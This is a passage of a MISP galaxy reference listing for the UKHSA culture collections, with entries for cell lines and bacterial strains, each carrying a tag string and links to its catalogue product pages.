The tag is: *misp-galaxy:ukhsa-culture-collections="FTC-236"*

Table 29510. Table References

Links
https://www.culturecollections.org.uk/nop/product/ftc-236

26/27

The tag is: *misp-galaxy:ukhsa-culture-collections="26/27"*

Table 29511. Table References

Links
https://www.culturecollections.org.uk/nop/product/2627

GO85

The tag is: *misp-galaxy:ukhsa-culture-collections="GO85"*

Table 29512. Table References

Links
https://www.culturecollections.org.uk/nop/product/go85

KIME

The tag is: *misp-galaxy:ukhsa-culture-collections="KIME"*

Table 29513. Table References

Links
https://www.culturecollections.org.uk/nop/product/kime

WON,PY

The tag is: *misp-galaxy:ukhsa-culture-collections="WON,PY"*

Table 29514. Table References

Links
https://www.culturecollections.org.uk/nop/product/wonpy

WHO NP439

The tag is: *misp-galaxy:ukhsa-culture-collections="WHO NP439"*

Table 29515. Table References

Links
https://www.culturecollections.org.uk/nop/product/who-np439

WHO NP199

The tag is: *misp-galaxy:ukhsa-culture-collections="WHO NP199"*

Table 29516. Table References

Links
https://www.culturecollections.org.uk/nop/product/who-np199

WHO NP192

The tag is: *misp-galaxy:ukhsa-culture-collections="WHO NP192"*

Table 29517. Table References

Links
https://www.culturecollections.org.uk/nop/product/who-np192

WATANABE

The tag is: *misp-galaxy:ukhsa-culture-collections="WATANABE"*

Table 29518. Table References

Links
https://www.culturecollections.org.uk/nop/product/watanabe

NP369

The tag is: *misp-galaxy:ukhsa-culture-collections="NP369"*

Table 29519. Table References

Links
https://www.culturecollections.org.uk/nop/product/np369

KUROIWA

The tag is: *misp-galaxy:ukhsa-culture-collections="KUROIWA"*

Table 29520. Table References

Links
https://www.culturecollections.org.uk/nop/product/kuroiwa

KAWASAKI

The tag is: *misp-galaxy:ukhsa-culture-collections="KAWASAKI"*

Table 29521. Table References

Links
https://www.culturecollections.org.uk/nop/product/kawasaki

HOSONUM

The tag is: *misp-galaxy:ukhsa-culture-collections="HOSONUM"*

Table 29522. Table References

Links
https://www.culturecollections.org.uk/nop/product/hosonum

HOKKAIDO

The tag is: *misp-galaxy:ukhsa-culture-collections="HOKKAIDO"*

Table 29523. Table References

Links
https://www.culturecollections.org.uk/nop/product/hokkaido

HAU,ML

The tag is: *misp-galaxy:ukhsa-culture-collections="HAU,ML"*

Table 29524. Table References

Links
https://www.culturecollections.org.uk/nop/product/hauml

HARA

The tag is: *misp-galaxy:ukhsa-culture-collections="HARA"*

Table 29525. Table References

Links
https://www.culturecollections.org.uk/nop/product/hara

DBUG

The tag is: *misp-galaxy:ukhsa-culture-collections="DBUG"*

Table 29526. Table References

Links
https://www.culturecollections.org.uk/nop/product/dbug

RML

The tag is: *misp-galaxy:ukhsa-culture-collections="RML"*

Table 29527. Table References

Links
https://www.culturecollections.org.uk/nop/product/rml

PE117

The tag is: *misp-galaxy:ukhsa-culture-collections="PE117"*

Table 29528. Table References

Links
https://www.culturecollections.org.uk/nop/product/pe117

LZL

The tag is: *misp-galaxy:ukhsa-culture-collections="LZL"*

Table 29529. Table References

Links
https://www.culturecollections.org.uk/nop/product/lzl

KRC-110

The tag is: *misp-galaxy:ukhsa-culture-collections="KRC-110"*

Table 29530. Table References

Links
https://www.culturecollections.org.uk/nop/product/krc-110

GRC-212

The tag is: *misp-galaxy:ukhsa-culture-collections="GRC-212"*

Table 29531. Table References

Links
https://www.culturecollections.org.uk/nop/product/grc-212

GRC-187

The tag is: *misp-galaxy:ukhsa-culture-collections="GRC-187"*

Table 29532. Table References

Links
https://www.culturecollections.org.uk/nop/product/grc-187

GRC-138

The tag is: *misp-galaxy:ukhsa-culture-collections="GRC-138"*

Table 29533. Table References

Links
https://www.culturecollections.org.uk/nop/product/grc-138

DAN723

The tag is: *misp-galaxy:ukhsa-culture-collections="DAN723"*

Table 29534. Table References

Links
https://www.culturecollections.org.uk/nop/product/dan723

AMALA

The tag is: *misp-galaxy:ukhsa-culture-collections="AMALA"*

Table 29535. Table References

Links
https://www.culturecollections.org.uk/nop/product/amala

00136

The tag is: *misp-galaxy:ukhsa-culture-collections="00136"*

Table 29536. Table References

Links
https://www.culturecollections.org.uk/nop/product/00136

C99

The tag is: *misp-galaxy:ukhsa-culture-collections="C99"*

Table 29537. Table References

Links
https://www.culturecollections.org.uk/nop/product/c99

C84

The tag is: *misp-galaxy:ukhsa-culture-collections="C84"*

Table 29538. Table References

Links
https://www.culturecollections.org.uk/nop/product/c84

PA317

The tag is: *misp-galaxy:ukhsa-culture-collections="PA317"*

Table 29539. Table References

Links
https://www.culturecollections.org.uk/nop/product/pa317

Corynebacterium striatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium striatum"*

Table 29540. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-striatum-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-striatum

DHIF

The tag is: *misp-galaxy:ukhsa-culture-collections="DHIF"*

Table 29541. Table References

Links
https://www.culturecollections.org.uk/nop/product/dhif

PC-9

The tag is: *misp-galaxy:ukhsa-culture-collections="PC-9"*

Table 29542. Table References

Links
https://www.culturecollections.org.uk/nop/product/pc-9

RT4/31

The tag is: *misp-galaxy:ukhsa-culture-collections="RT4/31"*

Table 29543. Table References

Links
https://www.culturecollections.org.uk/nop/product/rt431

ZR-75-30

The tag is: *misp-galaxy:ukhsa-culture-collections="ZR-75-30"*

Table 29544. Table References

Links
https://www.culturecollections.org.uk/nop/product/zr-75-30

RAJI TK-

The tag is: *misp-galaxy:ukhsa-culture-collections="RAJI TK-"*

Table 29545. Table References

Links
https://www.culturecollections.org.uk/nop/product/raji-tk-

RAJI’A'

The tag is: *misp-galaxy:ukhsa-culture-collections="RAJI’A'"*

Table 29546. Table References

Links
https://www.culturecollections.org.uk/nop/product/rajia

NCI-H292

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H292"*

Table 29547. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h292

LL47 (MaDo)

The tag is: *misp-galaxy:ukhsa-culture-collections="LL47 (MaDo)"*

Table 29548. Table References

Links
https://www.culturecollections.org.uk/nop/product/ll47-mado

L-41(HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="L-41(HeLa derivative)"*

Table 29549. Table References

Links
https://www.culturecollections.org.uk/nop/product/l-41hela-derivative

KB (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="KB (HeLa derivative)"*

Table 29550. Table References

Links
https://www.culturecollections.org.uk/nop/product/kb-hela-derivative

JIYOYE

The tag is: *misp-galaxy:ukhsa-culture-collections="JIYOYE"*

Table 29551. Table References

Links
https://www.culturecollections.org.uk/nop/product/jiyoye

JIII (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="JIII (HeLa derivative)"*

Table 29552. Table References

Links
https://www.culturecollections.org.uk/nop/product/jiii-hela-derivative

INT 407(HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="INT 407(HeLa derivative)"*

Table 29553. Table References

Links
https://www.culturecollections.org.uk/nop/product/int-407hela-derivative

HSG (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="HSG (HeLa derivative)"*

Table 29554. Table References

Links
https://www.culturecollections.org.uk/nop/product/hsg-hela-derivative

Hep 3B

The tag is: *misp-galaxy:ukhsa-culture-collections="Hep 3B"*

Table 29555. Table References

Links
https://www.culturecollections.org.uk/nop/product/hep-3b

Hep-2C (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="Hep-2C (HeLa derivative)"*

Table 29556. Table References

Links
https://www.culturecollections.org.uk/nop/product/hep-2c-hela-derivative

HeLa S3

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa S3"*

Table 29557. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-s3

HeLa Ohio

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa Ohio"*

Table 29558. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-ohio

HeLa B

The tag is: *misp-galaxy:ukhsa-culture-collections="HeLa B"*

Table 29559. Table References

Links
https://www.culturecollections.org.uk/nop/product/hela-b

GIRARDI HEART (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="GIRARDI HEART (HeLa derivative)"*

Table 29560. Table References

Links
https://www.culturecollections.org.uk/nop/product/girardi-heart-hela-derivative

EB-3

The tag is: *misp-galaxy:ukhsa-culture-collections="EB-3"*

Table 29561. Table References

Links
https://www.culturecollections.org.uk/nop/product/eb-3

DAUDI

The tag is: *misp-galaxy:ukhsa-culture-collections="DAUDI"*

Table 29562. Table References

Links
https://www.culturecollections.org.uk/nop/product/daudi-2
https://www.culturecollections.org.uk/nop/product/daudi

1-5c-4 (HeLa deriative)

The tag is: *misp-galaxy:ukhsa-culture-collections="1-5c-4 (HeLa deriative)"*

Table 29563. Table References

Links
https://www.culturecollections.org.uk/nop/product/1-5c-4-hela-deriative

CCD-34Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD-34Lu"*

Table 29564. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-34lu

CCD 13Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD 13Lu"*

Table 29565. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-13lu

C16 (HeLa derivative)

The tag is: *misp-galaxy:ukhsa-culture-collections="C16 (HeLa derivative)"*

Table 29566. Table References

Links
https://www.culturecollections.org.uk/nop/product/c16-hela-derivative

EL4.BU.OU6

The tag is: *misp-galaxy:ukhsa-culture-collections="EL4.BU.OU6"*

Table 29567. Table References

Links
https://www.culturecollections.org.uk/nop/product/el4buou6

Bacillus atropeaus

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus atropeaus"*

Table 29568. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-atropeaus

Bacillus sonorensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus sonorensis"*

Table 29569. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacillus-sonorensis

b.End.5

The tag is: *misp-galaxy:ukhsa-culture-collections="b.End.5"*

Table 29570. Table References

Links
https://www.culturecollections.org.uk/nop/product/bend5

C32 (melanoma)

The tag is: *misp-galaxy:ukhsa-culture-collections="C32 (melanoma)"*

Table 29571. Table References

Links
https://www.culturecollections.org.uk/nop/product/c32-melanoma

C32TG (melanoma)

The tag is: *misp-galaxy:ukhsa-culture-collections="C32TG (melanoma)"*

Table 29572. Table References

Links
https://www.culturecollections.org.uk/nop/product/c32tg-melanoma

MESC 23

The tag is: *misp-galaxy:ukhsa-culture-collections="MESC 23"*

Table 29573. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesc-23

MESC 21

The tag is: *misp-galaxy:ukhsa-culture-collections="MESC 21"*

Table 29574. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesc-21

MESC 20

The tag is: *misp-galaxy:ukhsa-culture-collections="MESC 20"*

Table 29575. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesc-20

MESC 19

The tag is: *misp-galaxy:ukhsa-culture-collections="MESC 19"*

Table 29576. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesc-19

MESC 18

The tag is: *misp-galaxy:ukhsa-culture-collections="MESC 18"*

Table 29577. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesc-18

MESC 17

The tag is: *misp-galaxy:ukhsa-culture-collections="MESC 17"*

Table 29578. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesc-17

MESC 16

The tag is: *misp-galaxy:ukhsa-culture-collections="MESC 16"*

Table 29579. Table References

Links
https://www.culturecollections.org.uk/nop/product/mesc-16

SP2/0-Ag14

The tag is: *misp-galaxy:ukhsa-culture-collections="SP2/0-Ag14"*

Table 29580. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp20-ag14

SK-N-DZ

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-N-DZ"*

Table 29581. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-n-dz

8505C

The tag is: *misp-galaxy:ukhsa-culture-collections="8505C"*

Table 29582. Table References

Links
https://www.culturecollections.org.uk/nop/product/8505c

Ca Ski

The tag is: *misp-galaxy:ukhsa-culture-collections="Ca Ski"*

Table 29583. Table References

Links
https://www.culturecollections.org.uk/nop/product/ca-ski

MFE-296

The tag is: *misp-galaxy:ukhsa-culture-collections="MFE-296"*

Table 29584. Table References

Links
https://www.culturecollections.org.uk/nop/product/mfe-296

1156QE/8

The tag is: *misp-galaxy:ukhsa-culture-collections="1156QE/8"*

Table 29585. Table References

Links
https://www.culturecollections.org.uk/nop/product/1156qe8

MNNG/HOS (TE85, Clone F-5)

The tag is: *misp-galaxy:ukhsa-culture-collections="MNNG/HOS (TE85, Clone F-5)"*

Table 29586. Table References

Links
https://www.culturecollections.org.uk/nop/product/mnnghos-te85-clone-f-5

L5178Y

The tag is: *misp-galaxy:ukhsa-culture-collections="L5178Y"*

Table 29587. Table References

Links
https://www.culturecollections.org.uk/nop/product/l5178y

RFAL3

The tag is: *misp-galaxy:ukhsa-culture-collections="RFAL3"*

Table 29588. Table References

Links
https://www.culturecollections.org.uk/nop/product/rfal3

Sp2/0.Ag14-TurboDoma

The tag is: *misp-galaxy:ukhsa-culture-collections="Sp2/0.Ag14-TurboDoma"*

Table 29589. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp20ag14-turbodoma

SW1222

The tag is: *misp-galaxy:ukhsa-culture-collections="SW1222"*

Table 29590. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw1222

BeWo

The tag is: *misp-galaxy:ukhsa-culture-collections="BeWo"*

Table 29591. Table References

Links
https://www.culturecollections.org.uk/nop/product/bewo

Clostridium haemolyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium haemolyticum"*

Table 29592. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-haemolyticum-3
https://www.culturecollections.org.uk/nop/product/clostridium-haemolyticum-2
https://www.culturecollections.org.uk/nop/product/clostridium-haemolyticum-4

Ralstonia mannitolilytica

The tag is: *misp-galaxy:ukhsa-culture-collections="Ralstonia mannitolilytica"*

Table 29593. Table References

Links
https://www.culturecollections.org.uk/nop/product/ralstonia-mannitolilytica-4

https://www.culturecollections.org.uk/nop/product/ralstonia-mannitolilytica-3
https://www.culturecollections.org.uk/nop/product/ralstonia-mannitolilytica-2
https://www.culturecollections.org.uk/nop/product/ralstonia-mannitolilytica

COLO 320DM

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 320DM"*

Table 29594. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-320dm

S2.2

The tag is: *misp-galaxy:ukhsa-culture-collections="S2.2"*

Table 29595. Table References

Links
https://www.culturecollections.org.uk/nop/product/s22

S2.1

The tag is: *misp-galaxy:ukhsa-culture-collections="S2.1"*

Table 29596. Table References

Links
https://www.culturecollections.org.uk/nop/product/s21

94A1

The tag is: *misp-galaxy:ukhsa-culture-collections="94A1"*

Table 29597. Table References

Links
https://www.culturecollections.org.uk/nop/product/94a1

351D2/D7

The tag is: *misp-galaxy:ukhsa-culture-collections="351D2/D7"*

Table 29598. Table References

Links

https://www.culturecollections.org.uk/nop/product/351d2d7

348C6

The tag is: *misp-galaxy:ukhsa-culture-collections="348C6"*

Table 29599. Table References

Links
https://www.culturecollections.org.uk/nop/product/348c6

347C2b/D4

The tag is: *misp-galaxy:ukhsa-culture-collections="347C2b/D4"*

Table 29600. Table References

Links
https://www.culturecollections.org.uk/nop/product/347c2bd4

347C2

The tag is: *misp-galaxy:ukhsa-culture-collections="347C2"*

Table 29601. Table References

Links
https://www.culturecollections.org.uk/nop/product/347c2

AFRC 85D6

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 85D6"*

Table 29602. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-85d6

AFRC 85B5

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 85B5"*

Table 29603. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-85b5

AFRC 85A2

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 85A2"*

Table 29604. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-85a2

AFRC 84B4

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 84B4"*

Table 29605. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-84b4

AFRC 78A3

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 78A3"*

Table 29606. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-78a3

AFRC 58D6

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 58D6"*

Table 29607. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-58d6

AFRC 56D2

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 56D2"*

Table 29608. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-56d2

JW8/5/13

The tag is: *misp-galaxy:ukhsa-culture-collections="JW8/5/13"*

Table 29609. Table References

Links
https://www.culturecollections.org.uk/nop/product/jw8513

JW393/A

The tag is: *misp-galaxy:ukhsa-culture-collections="JW393/A"*

Table 29610. Table References

Links
https://www.culturecollections.org.uk/nop/product/jw393a

JW183/5/1

The tag is: *misp-galaxy:ukhsa-culture-collections="JW183/5/1"*

Table 29611. Table References

Links
https://www.culturecollections.org.uk/nop/product/jw18351

Me9-TG3

The tag is: *misp-galaxy:ukhsa-culture-collections="Me9-TG3"*

Table 29612. Table References

Links
https://www.culturecollections.org.uk/nop/product/me9-tg3

Me11-TG6

The tag is: *misp-galaxy:ukhsa-culture-collections="Me11-TG6"*

Table 29613. Table References

Links
https://www.culturecollections.org.uk/nop/product/me11-tg6

Me19-TG2

The tag is: *misp-galaxy:ukhsa-culture-collections="Me19-TG2"*

Table 29614. Table References

Links
https://www.culturecollections.org.uk/nop/product/me19-tg2

CARM-L1 TG3

The tag is: *misp-galaxy:ukhsa-culture-collections="CARM-L1 TG3"*

Table 29615. Table References

Links
https://www.culturecollections.org.uk/nop/product/carm-l1-tg3

CARM-L12 TG3

The tag is: *misp-galaxy:ukhsa-culture-collections="CARM-L12 TG3"*

Table 29616. Table References

Links
https://www.culturecollections.org.uk/nop/product/carm-l12-tg3

Listonella anguillarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Listonella anguillarum"*

Table 29617. Table References

Links
https://www.culturecollections.org.uk/nop/product/listonella-anguillarum

GH3

The tag is: *misp-galaxy:ukhsa-culture-collections="GH3"*

Table 29618. Table References

Links
https://www.culturecollections.org.uk/nop/product/gh3

HT29-MTX-E12

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29-MTX-E12"*

Table 29619. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29-mtx-e12

H129-19.6.8

The tag is: *misp-galaxy:ukhsa-culture-collections="H129-19.6.8"*

Table 29620. Table References

Links
https://www.culturecollections.org.uk/nop/product/h129-1968

H103

The tag is: *misp-galaxy:ukhsa-culture-collections="H103"*

Table 29621. Table References

Links
https://www.culturecollections.org.uk/nop/product/h103

U5A

The tag is: *misp-galaxy:ukhsa-culture-collections="U5A"*

Table 29622. Table References

Links
https://www.culturecollections.org.uk/nop/product/u5a

U4C

The tag is: *misp-galaxy:ukhsa-culture-collections="U4C"*

Table 29623. Table References

Links
https://www.culturecollections.org.uk/nop/product/u4c

2fTGH

The tag is: *misp-galaxy:ukhsa-culture-collections="2fTGH"*

Table 29624. Table References

Links
https://www.culturecollections.org.uk/nop/product/2ftgh

U6A

The tag is: *misp-galaxy:ukhsa-culture-collections="U6A"*

Table 29625. Table References

Links
https://www.culturecollections.org.uk/nop/product/u6a

U4A

The tag is: *misp-galaxy:ukhsa-culture-collections="U4A"*

Table 29626. Table References

Links
https://www.culturecollections.org.uk/nop/product/u4a

U3A

The tag is: *misp-galaxy:ukhsa-culture-collections="U3A"*

Table 29627. Table References

Links
https://www.culturecollections.org.uk/nop/product/u3a

U2A

The tag is: *misp-galaxy:ukhsa-culture-collections="U2A"*

Table 29628. Table References

Links
https://www.culturecollections.org.uk/nop/product/u2a

C3B9

The tag is: *misp-galaxy:ukhsa-culture-collections="C3B9"*

Table 29629. Table References

Links
https://www.culturecollections.org.uk/nop/product/c3b9

Trex1 KO

The tag is: *misp-galaxy:ukhsa-culture-collections="Trex1 KO"*

Table 29630. Table References

Links
https://www.culturecollections.org.uk/nop/product/trex1-ko

HT 1080

The tag is: *misp-galaxy:ukhsa-culture-collections="HT 1080"*

Table 29631. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht-1080

JW184/2/1

The tag is: *misp-galaxy:ukhsa-culture-collections="JW184/2/1"*

Table 29632. Table References

Links
https://www.culturecollections.org.uk/nop/product/jw18421

MH01

The tag is: *misp-galaxy:ukhsa-culture-collections="MH01"*

Table 29633. Table References

Links
https://www.culturecollections.org.uk/nop/product/mh01

T84

The tag is: *misp-galaxy:ukhsa-culture-collections="T84"*

Table 29634. Table References

Links
https://www.culturecollections.org.uk/nop/product/t84

ZL55

The tag is: *misp-galaxy:ukhsa-culture-collections="ZL55"*

Table 29635. Table References

Links
https://www.culturecollections.org.uk/nop/product/zl55-2

Mbd3KO

The tag is: *misp-galaxy:ukhsa-culture-collections="Mbd3KO"*

Table 29636. Table References

Links
https://www.culturecollections.org.uk/nop/product/mbd3ko

WiDr

The tag is: *misp-galaxy:ukhsa-culture-collections="WiDr"*

Table 29637. Table References

Links
https://www.culturecollections.org.uk/nop/product/widr

HeB5

The tag is: *misp-galaxy:ukhsa-culture-collections="HeB5"*

Table 29638. Table References

Links
https://www.culturecollections.org.uk/nop/product/heb5

KYSE-70

The tag is: *misp-galaxy:ukhsa-culture-collections="KYSE-70"*

Table 29639. Table References

Links
https://www.culturecollections.org.uk/nop/product/kyse-70

MRC-5 SV1 TG1

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-5 SV1 TG1"*

Table 29640. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-5-sv1-tg1

Me17-TG6

The tag is: *misp-galaxy:ukhsa-culture-collections="Me17-TG6"*

Table 29641. Table References

Links
https://www.culturecollections.org.uk/nop/product/me17-tg6

Legionella anisa

The tag is: *misp-galaxy:ukhsa-culture-collections="Legionella anisa"*

Table 29642. Table References

Links
https://www.culturecollections.org.uk/nop/product/legionella-anisa

SPC111

The tag is: *misp-galaxy:ukhsa-culture-collections="SPC111"*

Table 29643. Table References

Links
https://www.culturecollections.org.uk/nop/product/spc111

Arcobacter cryaerophilus

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcobacter cryaerophilus"*

Table 29644. Table References

Links
https://www.culturecollections.org.uk/nop/product/arcobacter-cryaerophilus

Arcobacter butzleri

The tag is: *misp-galaxy:ukhsa-culture-collections="Arcobacter butzleri"*

Table 29645. Table References

Links
https://www.culturecollections.org.uk/nop/product/arcobacter-butzleri

HT 1376

The tag is: *misp-galaxy:ukhsa-culture-collections="HT 1376"*

Table 29646. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht-1376

ZL34

The tag is: *misp-galaxy:ukhsa-culture-collections="ZL34"*

Table 29647. Table References

Links
https://www.culturecollections.org.uk/nop/product/zl34

MPC-11

The tag is: *misp-galaxy:ukhsa-culture-collections="MPC-11"*

Table 29648. Table References

Links
https://www.culturecollections.org.uk/nop/product/mpc-11

SDM103T2

The tag is: *misp-galaxy:ukhsa-culture-collections="SDM103T2"*

Table 29649. Table References

Links
https://www.culturecollections.org.uk/nop/product/sdm103t2

JTC-27

The tag is: *misp-galaxy:ukhsa-culture-collections="JTC-27"*

Table 29650. Table References

Links
https://www.culturecollections.org.uk/nop/product/jtc-27

ZL5

The tag is: *misp-galaxy:ukhsa-culture-collections="ZL5"*

Table 29651. Table References

Links
https://www.culturecollections.org.uk/nop/product/zl5

SPC212

The tag is: *misp-galaxy:ukhsa-culture-collections="SPC212"*

Table 29652. Table References

Links
https://www.culturecollections.org.uk/nop/product/spc212

JIM3

The tag is: *misp-galaxy:ukhsa-culture-collections="JIM3"*

Table 29653. Table References

Links
https://www.culturecollections.org.uk/nop/product/jim3

AFRC MAC 159

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 159"*

Table 29654. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-159

Lactococcus lactis subsp. lactis

The tag is: *misp-galaxy:ukhsa-culture-collections="Lactococcus lactis subsp. lactis"*

Table 29655. Table References

Links
https://www.culturecollections.org.uk/nop/product/lactococcus-lactis-subsp-lactis
https://www.culturecollections.org.uk/nop/product/lactococcus-lactis-subsp-lactis-4
https://www.culturecollections.org.uk/nop/product/lactococcus-lactis-subsp-lactis-2

Clostridium sporogenes

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium sporogenes"*

Table 29656. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-3
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-9
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-8
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-4
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-5
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-6
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-2
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes
https://www.culturecollections.org.uk/nop/product/clostridium-sporogenes-7

Bacillus coagulans

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacillus coagulans"*

Table 29657. Table References

Links

https://www.culturecollections.org.uk/nop/product/bacillus-coagulans-5
https://www.culturecollections.org.uk/nop/product/bacillus-coagulans
https://www.culturecollections.org.uk/nop/product/bacillus-coagulans-2
https://www.culturecollections.org.uk/nop/product/bacillus-coagulans-3
https://www.culturecollections.org.uk/nop/product/bacillus-coagulans-4
https://www.culturecollections.org.uk/nop/product/bacillus-coagulans-6

RIN-m

The tag is: *misp-galaxy:ukhsa-culture-collections="RIN-m"*

Table 29658. Table References

Links
https://www.culturecollections.org.uk/nop/product/rin-m

JM

The tag is: *misp-galaxy:ukhsa-culture-collections="JM"*

Table 29659. Table References

Links
https://www.culturecollections.org.uk/nop/product/jm

C-4-II

The tag is: *misp-galaxy:ukhsa-culture-collections="C-4-II"*

Table 29660. Table References

Links
https://www.culturecollections.org.uk/nop/product/c-4-ii

Escherichia hermannii

The tag is: *misp-galaxy:ukhsa-culture-collections="Escherichia hermannii"*

Table 29661. Table References

Links
https://www.culturecollections.org.uk/nop/product/escherichia-hermannii

Pasteurella gallinarum

The tag is: *misp-galaxy:ukhsa-culture-collections="Pasteurella gallinarum"*

Table 29662. Table References

Links
https://www.culturecollections.org.uk/nop/product/pasteurella-gallinarum

Chryseobacterium ureilyticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Chryseobacterium ureilyticum"*

Table 29663. Table References

Links
https://www.culturecollections.org.uk/nop/product/chryseobacterium-ureilyticum-2
https://www.culturecollections.org.uk/nop/product/chryseobacterium-ureilyticum

NI 1 alpha 364/8C4-8

The tag is: *misp-galaxy:ukhsa-culture-collections="NI 1 alpha 364/8C4-8"*

Table 29664. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-1-alpha-3648c4-8

NI 1 alpha 364/3B3-14

The tag is: *misp-galaxy:ukhsa-culture-collections="NI 1 alpha 364/3B3-14"*

Table 29665. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-1-alpha-3643b3-14

GFP-KSC4 Keratinocyte stem cell line

The tag is: *misp-galaxy:ukhsa-culture-collections="GFP-KSC4 Keratinocyte stem cell line"*

Table 29666. Table References

Links
https://www.culturecollections.org.uk/nop/product/gfp-ksc4-keratinocyte-stem-cell-line

K38 Keratinocyte Cell Line

The tag is: *misp-galaxy:ukhsa-culture-collections="K38 Keratinocyte Cell Line"*

Table 29667. Table References

Links
https://www.culturecollections.org.uk/nop/product/k38-keratinocyte-cell-line

MT4/E4

The tag is: *misp-galaxy:ukhsa-culture-collections="MT4/E4"*

Table 29668. Table References

Links
https://www.culturecollections.org.uk/nop/product/mt4e4

YTH 71.3

The tag is: *misp-galaxy:ukhsa-culture-collections="YTH 71.3"*

Table 29669. Table References

Links
https://www.culturecollections.org.uk/nop/product/yth-713

AFRC MAC 61.6

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 61.6"*

Table 29670. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-616

UM-UC-3

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-3"*

Table 29671. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-3

WERI

The tag is: *misp-galaxy:ukhsa-culture-collections="WERI"*

Table 29672. Table References

Links
https://www.culturecollections.org.uk/nop/product/weri

TKE2

The tag is: *misp-galaxy:ukhsa-culture-collections="TKE2"*

Table 29673. Table References

Links
https://www.culturecollections.org.uk/nop/product/tke2

SW 626

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 626"*

Table 29674. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-626

Subclone 707 BUF

The tag is: *misp-galaxy:ukhsa-culture-collections="Subclone 707 BUF"*

Table 29675. Table References

Links
https://www.culturecollections.org.uk/nop/product/subclone-707-buf

RB247C

The tag is: *misp-galaxy:ukhsa-culture-collections="RB247C"*

Table 29676. Table References

Links
https://www.culturecollections.org.uk/nop/product/rb247c

RaBE (Slow Growth)

The tag is: *misp-galaxy:ukhsa-culture-collections="RaBE (Slow Growth)"*

Table 29677. Table References

Links
https://www.culturecollections.org.uk/nop/product/rabe-slow-growth

RaBE

The tag is: *misp-galaxy:ukhsa-culture-collections="RaBE"*

Table 29678. Table References

Links
https://www.culturecollections.org.uk/nop/product/rabe

R2C

The tag is: *misp-galaxy:ukhsa-culture-collections="R2C"*

Table 29679. Table References

Links
https://www.culturecollections.org.uk/nop/product/r2c

NOR-10

The tag is: *misp-galaxy:ukhsa-culture-collections="NOR-10"*

